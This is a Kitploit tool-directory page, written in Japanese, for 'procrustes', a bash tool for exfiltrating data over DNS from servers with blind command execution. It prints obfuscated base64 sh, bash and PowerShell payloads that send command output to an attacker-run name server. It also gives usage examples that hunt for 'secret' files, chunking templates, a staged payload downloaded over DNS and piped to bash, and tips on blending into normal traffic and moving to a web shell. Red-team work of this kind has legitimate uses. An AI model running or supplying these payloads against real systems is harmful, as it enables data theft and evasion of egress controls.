Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
procrustes — A bash script that automates the exfiltration of data over dns in case we have blind command execution on a server with egress filtering | Kitploit
ツール/GitHubGitHub/vp777/procrustes
エクスプロイトデータ流出コマンド&コントロールレッドチーミングDNS分析
GitHubvp777/procrustes

procrustes

A bash script that automates the exfiltration of data over dns in case we have blind command execution on a server with egress filtering

リポジトリを見る
210325年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

プロクラステス

DNS以外の全アウトバウンド接続がブロックされたサーバーでブラインドコマンド実行が可能な場合に、データをDNS経由で外部に自動的に流出させるbashスクリプトです。現在、sh、bash、PowerShellをサポートし、exec形式のコマンド実行(例:java.lang.Runtime.exec)と互換性があります。

非ステージング:

ステージング:

動作のため、このスクリプトはターゲットサーバーで実行したいコマンドを入力として受け取り、出力がDNS経由で流出できるようターゲットシェルに応じて変換します。コマンドが変換された後、それは「ディスパッチャー」に渡されます。ディスパッチャーはユーザーが提供するプログラムで、コマンドを入力として受け取り、何らかの手段(脆弱性の悪用など)でターゲットサーバー上でそれを実行する役割を担います。コマンドがターゲットサーバーで実行されると、データのチャンクを含むDNSリクエストが私たちのDNSネームサーバーにトリガーされることが期待されます。スクリプトは、ユーザーが指定したコマンドの出力が完全に流出するまで、それらのリクエストを待ち受けます。

以下は、コマンドlsの流出のために生成された、サポートされているコマンド変換です。

sh:

root@kitploit:~
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=

bash:

root@kitploit:~
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash

powershell:

root@kitploit:~
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=

使い方

  1. bashのローカルテスト:
root@kitploit:~
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
  1. WSL2を使用したPowerShellのローカルテスト:
root@kitploit:~
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
  1. 受信DNSリクエストを取得するためにNSにSSH接続するPowerShellの例:
root@kitploit:~
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
  1. オプションの詳細情報
root@kitploit:~
./procroustes_chunked.sh --help

procroustes_chunkedとprocroustes_fullの比較

簡単に言うと、DNS経由で送信できるようにデータを4つのチャンクに分割する必要があると仮定します。

  • procroustes_chunked: ディスパッチャーを4回呼び出し、毎回サーバーから異なるチャンクを要求します。ペイロードサイズは比較的小さく、高速で、特別な設定は不要です。
  • procroustes_full: ディスパッチャーを1回呼び出し、サーバー上で実行されるコマンドがデータのチャンク化と送信を担当します。ペイロードサイズは大きくなる可能性があり、高速で(速度は-tパラメータで調整可能)、dns_serverがネームサーバー上で動作している場合にさらに最適化できます。
  • procroustes_full/staged: procroustes_fullと同じですが、データをチャンク化するためにprocroustes_fullが使用するコマンドを取得するためにステージャーを使用します。ペイロード「サイズ」は最小ですが、実際のペイロードがDNS経由でダウンロードされるため、流出レートに関しては最も低速です。動作にはnsconfigスクリプトの作成が必要です。注:nsconfigスクリプトはネームサーバーごとに(ターゲットサーバーごとではなく)一度だけ作成する必要があります。

これらの違いの一部は、bash用のテンプレートコマンドでも示されています。

procroustes_chunked/bash:

root@kitploit:~
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%

procroustes_full/bash:

root@kitploit:~
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%

procroustes_full/bash/staged:

root@kitploit:~
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash

[1] ステージング版では、コマンドはDNS経由でダウンロードされるため、記載されているサイズが総ペイロードサイズでもあります。

[2] procroustes_chunkedでは、ディスパッチャーが複数回呼び出され、それに伴いサーバー上で実行される指定コマンドも(出力がすべて流出するまで)複数回呼び出されます。この動作は、コマンドのサーバーへの配信(ディスパッチャーの呼び出し)に時間やリソースがかかる場合には理想的ではありません。

また、サーバー上で実行するコマンドが(機能や出力の面で)冪等でない場合(例:"ls;rm file")や、時間やリソースを大量に消費する場合(例:find / -name secret)には問題が生じる可能性があります。この場合の回避策は、まずコマンド出力をファイル(例:/tmp/file)に保存し、その後スクリプトを使用してそのファイルを読み込むことです。

[3] ステージング版では、実際のペイロードをDNS経由で取得するために必要な時間のオーバーヘッドがあります。スクリプトはAレコードを使用して実際のペイロードを取得することに注意してください。これにより、トラフィックがターゲット環境の通常のトラフィックに溶け込みやすくなりますが、チャネル容量は限られます(例:リクエストあたり4バイト)。TXTのような他のレコードタイプを使用して、ステージダウンロード時間を最小限(ほぼゼロ)にし、ステージャーサイズを縮小することも可能です。

ヒント

  • このスクリプトはできるだけ控えめに使用し、可能な限り早くより高帯域のチャネル(例:HTTPウェブシェル)に移行することをお勧めします。
  • 長いテキスト出力が予想される場合は、最初に圧縮して流出プロセスを高速化できます。例:./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip'
  • 大きな/バイナリファイルの場合は、HTTPなどでアクセス可能なパスにコピーするという別の方法もあります。
  • procrustes_fullで流出帯域を増やすには、dns_serverをネームサーバー上で実行してください。そうすることで、基礎となるDNS_TRIGGERのタイムアウトを待たずに次のチャンクに進むことができます。
  • 理想的には、あなたが管理するサーバー(tcpdumpを実行するサーバー)を指すNSレコードを持つドメイン(-hオプション)を用意することです。それでも、ターゲットが任意のDNSサーバーへの接続を許可されている場合、DNSトリガーを明示的に自分のDNSサーバーを使用するように設定することで(例:dig @your_server whatev.er)、これを回避できます。

クレジット

  • Collabfiltrator - サーバー上でデータをチャンク化するアイデア。また、このスクリプトと同様の機能を実行するので、チェックしてみてください。
  • DNSlivery - DNSliveryの修正版がDNSサーバーとして使用されています。
ツールをダウンロード
procroustes_chunkedprocroustes_fullprocroustes_full_staged
ペイロードサイズのオーバーヘッド (bash/powershell)150*NLABELS/500*NLABELS (+CMD_LEN)300/800 (+CMD_LEN)150/400[1]
ディスパッチャー呼び出し回数#出力/(LABEL_SIZE*NLABELS)[2]11
速度 (bash/powershell)✔/✔✔/✔✓/✓[3]
設定の難易度簡単簡単+中程度